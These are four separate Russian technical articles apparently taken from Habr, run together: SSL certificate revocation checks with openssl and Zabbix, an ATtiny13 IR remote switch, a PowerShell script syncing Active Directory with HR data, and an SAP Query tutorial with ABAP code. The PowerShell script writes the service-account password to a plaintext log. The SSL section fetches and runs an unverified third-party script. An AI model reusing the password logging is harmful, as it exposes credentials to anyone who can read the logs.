В наше время одним из самых важных аспектов безопасной передачи информации является шифрование. Данные при передаче от клиента к серверу зашифровываются с помощью SSL-сертификата. Сертификат – это публичный ключ, заверенный удостоверяющим центром.
Все SSL-сертификаты, как правило, выдаются на ограниченный срок, по окончании которого они теряют силу и должны быть переизданы. Однако бывают случаи, когда сертификат может быть отозван ещё до окончания срока действия. Причин на отзыв SSL-сертификата довольно много, самые распространённые из них – закрытый ключ был утерян или скомпрометирован, изменились регистрационные данные компании и т.п.
Существует 2 альтернативных способа проверить, находится ли SSL-сертификат в списках отзыва:
* CRL (Certificate Revocation List) – проверяется наличие серийного номера сертификата в списке отзыва.
* OCSP (Online Certificate Status Protocol) – сертификат отправляется на специализированный сервер, где проверяется его статус.
Рассмотрим оба эти способа более подробно с помощью консоли Ubuntu. А в качестве примера проверим на отзыв сертификат для домена habr.com.
CRL
---
Скачаем сертификат интересующего нас домена:
```
echo -n | openssl s_client -connect habr.com:443 -servername habr.com 2>&1 | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /tmp/habr.com.crt
```
*Спасибо [legioner](https://habr.com/users/legioner/) за подсказку добавить параметр **-servername** — он необходим для правильного выбора сертификата, если на один IP-адрес их установлено несколько (SNI).*
Смотрим детали сертификата:
```
openssl x509 -noout -text -in /tmp/habr.com.crt
```
Здесь нас интересует в разделе «X509v3 CRL Distribution Points» пункт «Full Name».
Скачиваем по этой ссылке список CLR:
```
wget http://crl.comodoca.com/COMODORSADomainValidationSecureServerCA.crl
```
Выдираем серийный номер сертификата:
```
openssl x509 -in /tmp/habr.com.crt -noout -serial
```
Смотрим, есть ли этот номер в списке CRL:
```
openssl crl -inform DER -text -in COMODORSADomainValidationSecureServerCA.crl | grep "90E58B0601C3AD98F07AEE092041C437"
```
Если ничего не нашлось, значит сертификат не является отозванным.
OCSP
----
Выведем на экран сертификат интересующего нас домена и цепочки промежуточных (Intermediate) сертификатов:
```
echo -n | openssl s_client -connect habr.com:443 -showcerts
```
Сохраним в файлы сертификат домена и промежуточный сертификат (код между строками -----BEGIN CERTIFICATE----- и -----END CERTIFICATE-----):
```
/tmp/habr.com.crt
/tmp/intermediate.crt
```
Определим OCSP-сервер:
```
openssl x509 -in /tmp/habr.com.crt -noout -ocsp_uri
```
Отправим запрос OCSP-серверу проверить сертификат на предмет отзыва:
```
openssl ocsp -url http://ocsp.comodoca.com -issuer /tmp/intermediate.crt -cert /tmp/habr.com.crt -text
```
Если всё указали правильно, то OCSP-сервер должен вернуть информацию по сертификату.
Здесь интерес представляют последние строчки:
```
Response verify OK
/tmp/habr.com.crt: good
```
Об отсутствии сертификата в списке отозванных говорит значение «good», если же сертификат отозвали, то значение будет «revoked».
Автоматизация
-------------
Проверять SSL-сертификаты на предмет отзыва вручную не всегда удобно, поэтому процесс проверки можно автоматизировать.
Для этого берём с [Github](https://github.com/o-pod/security) готовый скрипт ssl-check-revoc.sh, который осуществляет проверку сертификатов методом CRL:
```
wget https://raw.githubusercontent.com/o-pod/security/master/ssl-check-revoc.sh
```
Далее делаем скрипт исполняемым:
```
chmod a+x ssl-check-revoc.sh
```
Теперь можно проверять как уже установленные сертификаты для домена, так и сохранённые локально в файлы (опция -f):
```
./ssl-check-revoc.sh habr.com -v
```
Zabbix
------
Скрипт ssl-check-revoc.sh может проверять сертификаты не только из консоли, он также вполне подходит в качестве чекера для Zabbix, поэтому всю грязную работу по отслеживанию попадания сертификатов в список отзыва можно поручить системе мониторинга.
Заходим в конфиг Zabbix /etc/zabbix/zabbix\_server.conf и смотрим, где лежат скрипты для внешних проверок:
```
ExternalScripts=/etc/zabbix/externalscripts
```
Копируем в этот каталог наш скрипт и рестартуем Zabbix:
```
sudo cp ssl-check-revoc.sh /etc/zabbix/externalscripts/
sudo systemctl restart zabbix-server
```
Заходим в веб-интерфейс и создаём шаблон (Configuration >> Templates >> Create template). В качестве имени шаблона указываем «Template SSL Checking». Затем внутри шаблона создаём элемент данных (Item) «SSL Certificate in Revocation List», в качестве ключа указываем «ssl-check-revoc.sh[{HOST.NAME}]», с типом проверки «External check». Интервал проверок можно установить на своё усмотрение в зависимости от критичности проекта.
Также понадобятся два триггера:
1. Для сигнализации отзыва сертификата «Certificate for domain {HOST.NAME} is in revocation list»
Expression: "{Template Custom SSL Checking:ssl-check-revoc.sh[{HOST.NAME}].last()}=1"
2. Для сигнализации об ошибке на случай, если что-то пойдёт не так (например возникнут проблемы с CLR-сервером и т.п.) «Error to check certificate for domain {HOST.NAME}»
Expression: "{Template Custom SSL Checking:ssl-check-revoc.sh[{HOST.NAME}].last()}=2"
Не забываем в экшенах (Configuration >> Actions) настроить способ оповещения в случае срабатывания триггеров.
Теперь осталось создать хосты, сертификаты которых будем регулярно проверять (Configuration >> Hosts >> Create host). На вкладке Templates прилинковываем наш темплейт «Template SSL Checking».
И всё! Можно спать спокойно: если SSL-сертификат вашего домена по какой-либо причине попадёт в список отозванных, Zabbix сразу же вам сообщит. | https://habr.com/ru/post/417521/ | null | ru | null |
# Трёхкомандное ДУ с программой из 290 16-битных слов
Устройство на ATtiny13, управляемое программой из 290 16-разрядных слов, написанной на ассемблере, запоминает коды шести кнопок пульта ДУ и включает/выключает три нагрузки. Схема:
Стандартный ИК-приёмник TSOP1740 использует инверсную логику, и это учтено в программе. Принимаемые сигналы вызывают прерывание INT0. Резистор нужен для отвязки ИК-приёмника от микроконтроллера во время заливки прошивки.
Порядок обучения устройства кодам кнопок следующий. Включаем питание при нажатой кнопке на входе PB3 (затем её можно отпустить). Первая нагрузка кратковременно включится и тут же выключится. Нажимаем на пульте кнопку, которой желаем включать первую нагрузку. Как только пульт отправит один и тот же код два раза (это происходит, если держать кнопку нажатой хотя бы пару секунд), первая нагрузка включится на пять секунд и отключится. А вторая включится кратковременно и тоже тут же отключится. Обучаем устройство коду кнопки включения второй нагрузки. Затем третьей. Теперь последовательно проделываем то же с кодами кнопок, которыми желаем отключать нагрузки. Программа запишет коды в ЭСППЗУ, теперь надо выключить и включить питание, но кнопку на входе PB3 не нажимать. Устройство перейдёт в рабочий режим, в котором можно управлять нагрузками.
При проверке нагрузками служат светодиоды, включённые через резисторы. Убедившись, что всё работает, подключаем к выходам ключи, управляющие реле. Как видно из схемы любого из трёх ключей, индикаторные светодиоды с резисторами для удобства оставлены на месте:
Вообще-то, там должны быть NPN-транзисторы, включённые эмиттерами к общему проводу, но у автора работает и так. Нагрузками могут служить, например, светодиодные лампы с цветовыми температурами в 2700, 4000 и 6400 К. Вы сможете переключать их вручную согласно циркадным ритмам, не полагаясь на автоматику.
Код на ассемблере: [без HTML-форматирования](http://avr-asm-tutorial.net/avr_en/IR-Rx_Switch/12_IR-Rx_Switch.asm) и [с таковым](http://avr-asm-tutorial.net/avr_en/IR-Rx_Switch/12_IR-Rx_Switch.html).
Подтверждение, что удалось уложиться в 290 16-битных слов:
```
gavrasm Gerd's AVR assembler version 3.5 (C)2015 by DG4FAC
----------------------------------------------------------
Source file: 12_IR-Rx_Switch.asm
Hex file: 12_IR-Rx_Switch.hex
Eeprom file: 12_IR-Rx_Switch.eep
Compiled: 23.11.2016, 23:23:05
Pass: 2
1: ;
2: ; ***************************************
3: ; * IR-Switch 3-Channel with ATtiny13 *
4: ; * (C)2016 by www.avr-asm-tutorial.net *
5: ; ***************************************
...
Program : 290 words.
Constants : 0 words.
Total program memory: 290 words.
Eeprom space : 13 bytes.
Data segment : 29 bytes.
Compilation completed, no errors.
Compilation ended 23.11.2016, 23:23:05
``` | https://habr.com/ru/post/455006/ | null | ru | null |
# Актуализируем учетные данные Active Directory
Многие помнят то чувство, когда компания расширяется до тех размеров, когда рабочих групп недостаточно, и поднимается первый домен Active Directory: «О, уж теперь-то все будет как следует!» Ан нет, домен потихонечку разрастается, создаются новые учетки, блокируются старые, добавляются, удаляются компьютеры, девушки выходят замуж, меняют фамилии и, в конце концов, база данных службы каталогов выглядит, как полный швах. В этом топике мы наладим связь между базой Active Directory и кадровой системой предприятия, а также создадим механизм для поддержания данных сотрудников в AD в актуальном состоянии.
Первым делом, мы опишем требования, которые мы должны предъявить к учетным записям сотрудников. А эти требования мы постараемся прикинуть, исходя из потребностей пользователя. Не секрет, что многие корпоративные системы, использующие аутентификацию через Active Directory, для отображения и в своих админках, и просто в ходе работы зачастую используют разнообразные поля учетных записей AD: это и Sharepoint, и Citrix, и многие-многие другие. В качестве примера такой системы я возьму известный всем MS Outlook, да не полностью, а лишь его адресную книгу, которая черпает свои данные напрямую из Active Directory.
Что использует пользователь? У нас в организации он зачастую ищет по имени телефон, адрес электронной почты и название подразделения. Конечно, неплохо заполнить еще и адресную информацию, но в связи с тем, что топик у нас о связке с абстрактной кадровой системой, мы адреса и телефоны оставим за скобками.
Первое, мы выписываем список полей, которые мы желаем забирать из кадровой системы, у нас это будут:
* Фамилия Имя Отчество
* Должность
* Организация
* Подразделение
* Почтовый индекс
* Тип занятости
На этом этапе полезно закрепить наш перечень полей и издать Приказ Именем Самого Большого Директора, обязывающий кадровиков и администраторов поддерживать эти данные в актуальном состоянии.
#### Механизм
Само собой ясно, что для того, чтобы связать персону из кадровой системы и персону из Active Directory, необходимо иметь некий идентификатор, связывающий эти две записи. Обычно таким идентификатором является табельный номер сотрудника, он присваивается при приеме на работу и более никогда не меняется, вместе с тем, я встречался с ситуациями, когда и табельный номер не статичен, в этом случае такой идентификатор следует выдумать.
Сведения о пользователе Active Directory не исчерпываются сведениями, которые можно увидеть в оснастке Active Directory Users and Computers (устоявшееся сокращение ADUC), причем очень далеко не исчерпываются. На самом деле объект пользователя имеет триллион атрибутов, и эти атрибуты даже могут быть добавлены администратором схемы. Например, есть такой атрибут, как [carLicense](http://msdn.microsoft.com/en-us/library/windows/desktop/ms675438(v=vs.85).aspx), содержащий информацию о водительском удостоверении, или [drink](http://msdn.microsoft.com/en-us/library/windows/desktop/ms675651(v=VS.85).aspx), характеризующий любимый напиток пользователя. В общем, Microsoft в этом смысле предусмотрела многое.
Использовать в моем примере я буду атрибуты [employeeID](http://msdn.microsoft.com/en-us/library/windows/desktop/ms675662(v=VS.85).aspx) для хранения идентификатора пользователя, и [flags](http://msdn.microsoft.com/en-us/library/windows/desktop/ms675677(v=VS.85).aspx), для чего именно, сообщу чуть позже.
Также для заполнения полей пользователя мы будем использовать атрибуты:
* displayName и CN для хранения ФИО
* department для хранения подразделения
* company для хранения организации
* title для хранения должности
* employeeType для хранения типа сотрудника
* postalCode для хранения индекса
Педанты могут, конечно, дополнительно использовать givenName, initials и sn для хранения имени, инициалов и фамилии соответственно, но я думаю, что это уже тонкости.
Итак, наше приложение будет работать таким образом:
1. Перечислять учетные записи, у которых заполнен employeeID
2. Искать в кадровой системе для каждой учетной записи изменившиеся данные
3. Обновлять данные в Active Directory
4. Протоколировать изменения в файле
#### К делу
Первым делом следует проставить employeeID, который у нас представляет табельный номер, всем пользователям. Если пользователей мало, то сделать это проще всего через [ADSI Edit](http://technet.microsoft.com/en-us/library/cc773354(WS.10).aspx), если их чуть больше, то можно прикрутить скрипт для прописывания, например [вот так](http://adisfun.blogspot.com/2009/05/add-employee-id-field-aduc.html). А если пользователей много, расстановку идентификаторов необходимо делегировать, хочется приятный интерфейс и используются дополнительные фенечки, то можно создать вот такую дополнительную вкладку в ADUC:
впрочем, создание такой вкладки это само по себе тема для отдельного топика.
Второе тонкое место в том, что иногда случается так, что для некоторых людей менять следует только некоторые атрибуты. Есть, например, у нас сотрудник, назовем его Кудрымунбеков Садруддин Фатхулларович, но все его называют просто Сан Саныч. А есть генеральный директор, должность которого в кадрах записана не иначе, как Генеральный Директор Открытого Акционерного Общества Дальней Космической Связи «Рога И Копыта», которого в AD лучше бы просто оставить точно со связью, но точно без рогов и копыт. Таким образом, мы видим необходимость в закладывании в логику работы нашего приложения некоторых исключений, а хранить эти исключения мы будем там же, в Active Directory в атрибуте flags. Этот атрибут имеет величину в четыре байта, а значит, устанавливая тот или иной бит в то или иное значение, мы сможем при необходимости запомнить аж 32 исключения. Впрочем, использовать мы все равно будем только шесть.
Переходим к реализации на powershell:
```
# Пример изменения учетных записей пользователей в Active Directory
# Егор Иванов
param($strServer, $strContainer, $strUserName, $strPassword, $strFileName, $strLogName)
function Write-LogFile([string]$logFileName)
{
Process
{
$_
$dt = Get-Date
$str = $dt.DateTime + " " + $_
$str | Out-File -FilePath $logFileName -Append
}
}
# Эта функция на самом деле заглушка, ее реализация зависит
# от той или иной кадровой системы. Тут может быть и соединение с 1С,
# и запрос в веб, у меня лично тут ковыряние Oracle e-Buisness suite,
# но демонстрации ради мы ограничимся чтением из csv-файла.
# Понятное дело, что вызывать каждый раз Import-CSV глупо,
# но как я и говорил, функция - заглушка, она лишь демонстрирует возможность
function Get-Employee($employeeID, $fileName, [ref]$title, [ref]$department, [ref]$displayName, [ref]$company, [ref]$postalCode, [ref]$employeeType)
{
$records = $fileName | Import-CSV -Delimiter ";"
$employee = $records | where-object {$_.EmployeeID -eq $employeeID}
if ($employee -eq $null) {return $false}
$title.Value = [string]$employee.Title
$department.Value = [string]$employee.Department
$displayName.Value = [string]$employee.Name
$company.Value = [string]$employee.Company
$postalCode.Value = [string]$employee.PostalCode
$employeeType.Value = [string]$employee.EmployeeType
return $true
}
# Будем писать в лог
"---" | Write-LogFile $strLogName
"Запускаю с параметрами:" | Write-LogFile $strLogName
"Сервер: " + $strServer | Write-LogFile $strLogName
"Контейнер: " + $strContainer | Write-LogFile $strLogName
"Имя пользователя: " + $strUserName | Write-LogFile $strLogName
"Пароль: " + $strPassword | Write-LogFile $strLogName
"Имя файла: " +$strFileName | Write-LogFile $strLogName
"Имя файла лога: " + $strLogName | Write-LogFile $strLogName
# Это наши константы, которые переводят те или иные атрибуты в режим только чтения
# Нетрудно заметить, что они имеют значения 000001, 000010, 000100, 001000, 010000 и 100000
# в двоичной системе. Это значит, что их комбинация однозначно определит,
# какие поля запретить изменять
New-Variable -Option constant -Name C_COMPANY_FLAG -Value 1
New-Variable -Option constant -Name C_POSTALCODE_FLAG -Value 2
New-Variable -Option constant -Name C_TITLE_FLAG -Value 4
New-Variable -Option constant -Name C_DEPARTMENT_FLAG -Value 8
New-Variable -Option constant -Name C_NAME_FLAG -Value 16
New-Variable -Option constant -Name C_EMPLOYEETYPE_FLAG -Value 32
# Ниже заглушка для атрибута title. Атрибут title к примеру
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms680037(v=VS.85).aspx
# имеет 64 символа максимальный размер в Windows Server 2003
# или 128 символов максимальный размер в Windows Server 2008
# поэтому если не обрезать значение, случится конфуз
New-Variable -Option constant -Name C_PARAMETERS_LENGTH -Value 64
# (!userAccountControl:1.2.840.113556.1.4.803:=2) читать как "и при этом учетка не заблокирована"
$strFilter = "(&(objectClass=user)(!objectClass=computer)(employeeID=*)(!userAccountControl:1.2.840.113556.1.4.803:=2))"
# Можно, конечно, использовать навески для Active Directory под Windows Server 2008
# http://blogs.msdn.com/adpowershell
# Но я решил сделать приложение совместимым с Windows Server 2003 и Windows XP,
# поэтому обойдемся сухим дотнетом
$objDomain = New-Object System.DirectoryServices.DirectoryEntry("LDAP://"+$strServer+"/"+$strContainer)
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher
$objSearcher.SearchRoot = $objDomain
$objSearcher.PageSize = 1000
$objSearcher.Filter = $strFilter
$objSearcher.SearchScope = "Subtree"
$colProplist = "employeeID","postalCode","title","department", "displayName", "cn", "employeeType"
foreach ($i in $colPropList)
{
$objSearcher.PropertiesToLoad.Add($i)
}
$colResults = $objSearcher.FindAll()
# Теперь в colResults мы имеем все необходимые учетки
$startTime = Get-Date
$totalCount = $colResults.Count
$i = 0
foreach ($objResult in $colResults)
{
$objItem = $objResult.Properties
$aDEmployeeID = $objItem.employeeid
# Тут ясно, мы смотрим в атрибут flags, если у нас есть запрет на изменение
# поля, то мы это на будущее запоминаем, поднимая тот или иной флажок
$flagProtectCompany = $false
$flagProtectPostalCode = $false
$flagProtectTitle = $false
$flagProtectDepartment = $false
$flagProtectName = $false
$flagProtectEmployeeType = $false
if (!($objItem.flags -eq $null))
{
$flags = $objItem.flags
if (($flags[0] -band $C_COMPANY_FLAG) -ne 0) {$flagProtectCompany = $true}
if (($flags[0] -band $C_POSTALCODE_FLAG) -ne 0) {$flagProtectPostalCode = $true}
if (($flags[0] -band $C_TITLE_FLAG) -ne 0) {$flagProtectTitle = $true}
if (($flags[0] -band $C_DEPARTMENT_FLAG) -ne 0) {$flagProtectDepartment = $true}
if (($flags[0] -band $C_NAME_FLAG) -ne 0) {$flagProtectName = $true}
if (($flags[0] -band $C_EMPLOYEETYPE_FLAG) -ne 0) {$flagProtectEmployeeType = $true}
}
# Это не обязательно, но я предпочитаю все обнулить
$cSVName = ""
$cSVTitle = ""
$cSVDepartment = ""
$cSVCompany = ""
$cSVPostalCode = ""
$cSVEmployeeType = ""
# Тут следует обратить внимание на вызов функции в PowerShell, он не совсем
# такой, как в привычных языках
$rc = Get-Employee $aDEmployeeID $strFileName ([ref]$cSVTitle) ([ref]$cSVDepartment) ([ref]$cSVName) ([ref]$cSVCompany) ([ref]$cSVPostalCode) ([ref]$cSVEmployeeType)
if ($rc)
{
# Здесь мы соединяемся со службой каталогов уже под другим именем и паролем, нежели был
# запущен сценарий. Неразумно осуществлять изменения от имени администратора домена,
# разумнее делегировать изменения того, того, того и сего атрибута служебной учетке
# с ограниченными правами
$objDirectoryEntry = new-object System.DirectoryServices.DirectoryEntry($objItem.adspath, $strUsername, $strPassword, [System.DirectoryServices.AuthenticationTypes]::Secure)
$oTitle = $cSVTitle
if ($oTitle.Length -gt $C_PARAMETERS_LENGTH) {$oTitle = $oTitle.Substring(0,$C_PARAMETERS_LENGTH)}
$oDepartment = $cSVDepartment
if ($oDepartment.Length -gt $C_PARAMETERS_LENGTH) {$oDepartment = $oDepartment.Substring(0,$C_PARAMETERS_LENGTH)}
$newEmployeeType = $cSVEmployeeType
# Здесь и далее мы проверяем, совпадает ли то значение, которое мы хотим присвоить, тому значению,
# которое уже присвоено (и не забываем про флажок). Это чтоб не напрягать службу каталогов
if (($newEmployeeType -ne $objItem.employeetype) -and -not $flagProtectEmployeeType)
{
"Изменение EmployeeType пользователя """ + $objDirectoryEntry.name + """" | Write-LogFile $strLogName
"с """ + $objDirectoryEntry.employeetype + """ на """ + $newEmployeeType + """" | Write-LogFile $strLogName
$objDirectoryEntry.employeetype = [string]$newEmployeeType
$objDirectoryEntry.CommitChanges()
}
if (($cSVCompany -ne $objItem.company) -and -not $flagProtectCompany)
{
"Изменение организации пользователя """ + $objDirectoryEntry.name + """" | Write-LogFile $strLogName
"с """ + $objDirectoryEntry.company + """ на """ + $cSVCompany + """" | Write-LogFile $strLogName
$objDirectoryEntry.company = [string]$cSVCompany
$objDirectoryEntry.CommitChanges()
}
if (($cSVPostalCode -ne $objItem.postalcode) -and -not $flagProtectPostalCode)
{
"Изменение индекса пользователя """ + $objDirectoryEntry.name + """" | Write-LogFile $strLogName
"с """ + $objDirectoryEntry.postalCode + """ на """ + $cSVPostalCode + """" | Write-LogFile $strLogName
$objDirectoryEntry.postalCode = $cSVPostalCode
$objDirectoryEntry.CommitChanges()
}
if (($oTitle -ne $objItem.title) -and -not $flagProtectTitle)
{
"Изменение должности пользователя """ + $objDirectoryEntry.name + """" | Write-LogFile $strLogName
"с """ + $objDirectoryEntry.title + """ на """ + $cSVTitle + """" | Write-LogFile $strLogName
if ($title.Length -gt $C_PARAMETERS_LENGTH)
{
$objDirectoryEntry.title = $cSVTitle.Substring(0,$C_PARAMETERS_LENGTH)
}
else
{
$objDirectoryEntry.title = $cSVTitle.ToString()
}
$objDirectoryEntry.CommitChanges()
}
if (($oDepartment -ne $objItem.department) -and -not $flagProtectDepartment)
{
"Изменение подразделения пользователя """ + $objDirectoryEntry.name + """" | Write-LogFile $strLogName
"с """ + $objDirectoryEntry.department + """ на """ + $cSVDepartment + """" | Write-LogFile $strLogName
if ($department.Length -gt $C_PARAMETERS_LENGTH)
{
$objDirectoryEntry.department = $cSVDepartment.Substring(0,$C_PARAMETERS_LENGTH)
}
else
{
$objDirectoryEntry.department = $cSVDepartment.ToString()
}
$objDirectoryEntry.description = $cSVDepartment.ToString()
$objDirectoryEntry.CommitChanges()
}
if ((($cSVName -ne $objItem.displayname) -or ($cSVName -ne $objItem.cn)) -and -not $flagProtectName)
{
"Изменение имени пользователя """ + $objDirectoryEntry.name + """" | Write-LogFile $strLogName
"с """ + $objDirectoryEntry.displayname + """ на """ + $cSVName + """" | Write-LogFile $strLogName
$objDirectoryEntry.displayName = $cSVName
$objDirectoryEntry.CommitChanges()
$objDirectoryEntry.Rename("cn="+$cSVName)
}
$i++
# Здесь мы сформируем статусную строку и будем ее демонстрировать, простые математические действия
# укажут нам, когда же, наконец, процесс прочесывания миллиардов наших пользователей прекратится
$status = $i.ToString() + " of " + $totalCount.ToString() + " complete - " + $objDirectoryEntry.name
$currentTime = Get-Date
$diffTime = [int][System.Math]::Round(($currentTime - $startTime).Ticks / $i)
$delta = $diffTime*$totalCount
$endTime = $startTime.Add([int64]($delta))
$activityString = "Перебор пользователей. Расчетное время завершения " + $endTime
Write-Progress -Activity $activityString -Status $status -PercentComplete (($i / $totalCount) * 100)
}
}
"Работа окончена" | Write-LogFile $strLogName
# И не забыть пропищать из динамика, мало ли
Write-Host `a
```
Создадим тестовую среду, абсолютно произвольно присвоим имена учетным записям:
Теперь запускаем скрипт с параметрами. Разумеется, его можно зашедулить и выполнять по расписанию, только не забыть учетной записи, от имени которой выполняется задание, присвоить право *входа в качестве пакетного задания*:
Как видим, после выполнения, мы получили хорошие читаемые имена, отличные должности и великолепные наименования компаний:
Конечно, путем неглубокой модификации скрипта, мы можем заполнять пользователю все: от телефонов и адресов до пресловутых любимых напитков, был бы источник. А если скрипт запускать с определенной регулярностью, то мы добиваемся того, что все данные о пользователях будут актуальны.
upd Подправил маленькую ошибочку, перенес обнуление флажков во внутрь цикла | https://habr.com/ru/post/132591/ | null | ru | null |
# Создание отчётов с использованием SAP Query
Система SAP ERP содержит множество отчетов с огромным количеством полей. Для настройки отображения нужных полей существует механизм, позволяющий скрыть лишние поля, изменить порядок, выполнить сортировку, подвести промежуточные и общие итоги. Ко всему прочему, система позволяет хранить несколько вариантов настроек и быстро выбирать требуемый.
Со временем у конечного пользователя появляется необходимость в отчетах, в которых присутствуют как стандартные поля, так и дополнительные. Примером могут послужить такие отчеты, как история по счёту главной книги, открытые счета-фактуры от поставщиков, список клиентов.
В случае если отчеты довольно специфичны или имеют некую нестандартную функциональность, для их реализации приходится обращаться к программистам. В остальных случаях достаточно воспользоваться SAP Query.
Инструмент SAP Query позволяет создавать отчёты без значительных трудозатрат.
Ниже будет рассмотрен пример создания отчета средствами SAP Query.
Основные шаги для создания отчета:
1. Создание инфо-набора
2. Создание группы пользователей, присвоение ей инфо-набора
3. Создание запроса на базе инфо-набора.
##### Постановка задачи
Время от времени появляются ситуации, в которых пользователь не может разобраться с причинами ошибки «Превышена стоимость договора» в заказах на поставку. В большинстве случаев причину подобной ошибки легко найти.
Но если в контракте 1000 позиций, и по какой-то из них стоимость в поступлении больше, чем стоимость в позиции контракта (при этом стоимость в контракте равна стоимости в заказах), то выявить данную позицию становится проблематично.
В системе существуют отчеты, показывающие стоимость позиций заказа к позиции контракта или документы поступления со ссылками на заказ на поставку. Единого отчета нет.
Необходимо создать отчет, отображающий заданные контракты по позициям. Каждая позиция должна отображать свою стоимость, стоимость позиций заказов на поставку, стоимость поступлений, стоимость счетов-фактур. Все стоимости должны отображаться во внутренней валюте.
Так же необходимо добавить признак, позволяющий отображать только проблемные позиции.
##### Создание инфо-набора
Инфо-набор должен содержать перечень полей, которые требуется отобразить в отчете. В нашем наборе будут созданы такие поля, как номер контракта, позиция контракта, стоимость позиции в контракте, стоимость в заказах на поставку, стоимость поступлений, стоимость счетов-фактур.
Запустите транзакцию SQ02.
* Введите имя Инфо-набора «Z\_SUPPLY\_TO\_CONTRACT»и нажмите кнопку «Создать»
* Определите описание инфо-набора «Поступление к контрактам»
* Введите имя таблицы EKPO (см. Рисунок 2). Это стандартная таблица с позициями документов закупки, включая контракты.
SAP предлагает несколько источников для создания инфо-набора, это:
* объединение таблиц (англ. join)
* считывание таблицы напрямую
* логическая база данных
* сбор данных программой
Каждый из источников данных имеет свои особенности, которые не обсуждаются в настоящей статье. Мы выбрали таблицу, так как весь отчет будет строиться именно на этой таблице, а остальные данные мы получим через настройку дополнительных полей.
Далее отмечаем пункт «Включить ключевые поля» и подтверждаем создание.
Теперь мы находимся на первом экране ведения инфо-набора.
Экран разделен на 3 части:
* Слева — таблицы и дополнительные поля
* Справа сверху — группы полей, которые должны попасть в запрос и, в дальнейшем, в отчет
* Справа снизу — детальная информация по полям из группы полей. Для отображения необходимо дважды кликнуть по требуемому полю из группы полей
Если на предыдущем экране выбран тот же пункт с ключевыми полями, то в группе полей должны отображаться номер документа закупки и позиция. Если нет, то включите эти поля (правой кнопкой мы по полю из таблицы и выбрать пункт «включить поле в группу полей»), или исключите лишние.
Затем следует добавить оставшиеся поля, необходимые для нашего отчета. Для этого следует нажать кнопку на панели инструментов «Дополнительная информация» (F5). Для переключения в исходное положение следует нажать кнопку «Группы полей» (F6).
Правая часть полностью преобразилась. На первом экране расположены дополнительные поля, таблицы, структуры и ссылки на код.
Создадим требуемые нам поля. Для этого необходимо нажать на кнопку «Создать» (кнопка в виде белого листа). В открывшемся окне следует указать имя нового поля и выбрать пункт «Дополнительное поле»
Далее следует заполнить наименование, текст заголовка в отчете и ссылку на поле-образец «EKPO-BRTWR». Формат нашего поля будет скопирован с образца.
Следующее поле создается аналогично, за исключением порядкового номера поля.
Стоимость поступлений и стоимость счетов-фактур будем брать из истории заказа на поставку из таблицы EKBE.
Добавленные поля отображаются в левом блоке в ветке «дополнительные поля».
Данные поля следует добавить в группу полей. Для этого переключитесь в режим группы полей (кнопка «Группа полей») и щелкнув правой кнопкой мыши выберите пункт «Добавить в группу полей».
Затем возвращаемся обратно в режим дополнительной информации.
Определим правила формирования стоимости позиции контракта.
Для этого необходимо установить курсор мыши на требуемой позиции и нажать кнопку «Кодировка для дополнений».
Зададим следующий код для поля «BRTWR»:
```
data:
ii_WKURS like EKKO-WKURS.
SELECT SINGLE WKURS INTO ii_WKURS FROM EKKO
WHERE EBELN = EKPO-EBELN.
CLEAR BRTWR.
IF EKPO-LOEKZ IS INITIAL.
BRTWR = EKPO-NETPR / EKPO-PEINH * EKPO-KTMNG * ii_WKURS.
ELSE.
BRTWR = '0'.
ENDIF.
```
Определяем переменную для курса валюты, в которой ведется контракт. Затем получаем ее значение.
Если позиций контракта не удалена, то стоимость равна произведения количества и цены, с учетом количества единицы цены и курса валюты. Если контракт в валюте учета, то система автоматически равна 1.
Если позиция удалена, то стоимость рана 0.
Код для поля «ORDER\_BRTWR»:
```
data:
s_NETPR like EKPO-NETPR,
s_PEINH like EKPO-PEINH,
s_MENGE like EKPO-MENGE,
c_BRTWR like ORDER_BRTWR,
i_ebeln like EKKO-EBELN,
i_WKURS like EKKO-WKURS.
ORDER_BRTWR = '0'.
select NETPR PEINH MENGE EBELN
INTO (s_NETPR, s_PEINH, s_MENGE, i_ebeln)
from EKPO as e
where
e~KONNR = EKPO-EBELN AND
e~KTPNR = EKPO-EBELP AND
e~LOEKZ = ''.
SELECT SINGLE WKURS INTO i_WKURS FROM EKKO
WHERE EBELN = i_ebeln.
CLEAR c_BRTWR.
c_BRTWR = s_NETPR / s_PEINH * s_MENGE * i_WKURS.
ORDER_BRTWR = ORDER_BRTWR + c_BRTWR.
endselect.
```
Все аналогично с учетом того, что позиций заказов для одной позиции контракта может быть несколько.
Код для поля «DMBTR»:
```
data:
s_SHKZG like ekbe-SHKZG,
s_DMBTR like ekbe-DMBTR.
DMBTR = '0'.
select DMBTR SHKZG INTO (s_DMBTR, s_SHKZG) from EKBE as e
INNER JOIN EKPO as z
ON e~EBELN EQ z~EBELN AND
e~EBELP EQ z~EBELP
where
z~KONNR = EKPO-EBELN AND
z~KTPNR = EKPO-EBELP AND
e~VGABE = '1'.
if s_SHKZG = 'S'.
DMBTR = DMBTR + s_DMBTR.
else.
DMBTR = DMBTR - s_DMBTR.
endif.
endselect.
```
Для документов поступления мы сразу берем в расчет стоимость во внутренней валюте. По этой причине нет необходимости пересчитывать валюту. В документах поступления отсутствует признак удаления, так как для бухгалтерских проводок возможно только сторнирование. В связи с этим по полю «EKBE-SHKZG» определяем прямой это документ или сторнирующий.
Код для поля «F\_DMBTR»:
```
data:
s_SHKZG_f like ekbe-SHKZG,
s_DMBTR_f like ekbe-DMBTR.
F_DMBTR = '0'.
select DMBTR SHKZG INTO (s_DMBTR_f, s_SHKZG_f) from EKBE as e
INNER JOIN EKPO as z
ON e~EBELN EQ z~EBELN AND
e~EBELP EQ z~EBELP
where
z~KONNR = EKPO-EBELN AND
z~KTPNR = EKPO-EBELP AND
( e~VGABE = '2' OR e~VGABE = '3' ).
if s_SHKZG_f = 'S'.
F_DMBTR = F_DMBTR + s_DMBTR_f.
else.
F_DMBTR = F_DMBTR - s_DMBTR_f.
endif.
endselect.
```
Сумма для счетов-фактур рассчитывается аналогично поступлению. При этом для счетов-фактур следует учитывать такие операции как доп. дебетование и доп. кредитование.
Далее следует перейти во вкладку «Критерии выбора». Там мы создадим поле «Номер контракта» и признак «только позиции с превышением».
При создании следует учитывать, что «Критерий выбора» — это поле, по которому выполняется ограничение, а «Параметр» — это некий признак, которому следует задать некий функционал.
Создадим критерий выбора «Номер контракта».
и параметр «Только позиции с превышением»
Обратите внимание на то, что параметр в поле «ДопИнфо» содержит текст «AS CHECKBOX» для того, чтобы отобразиться в качестве чекбокса.
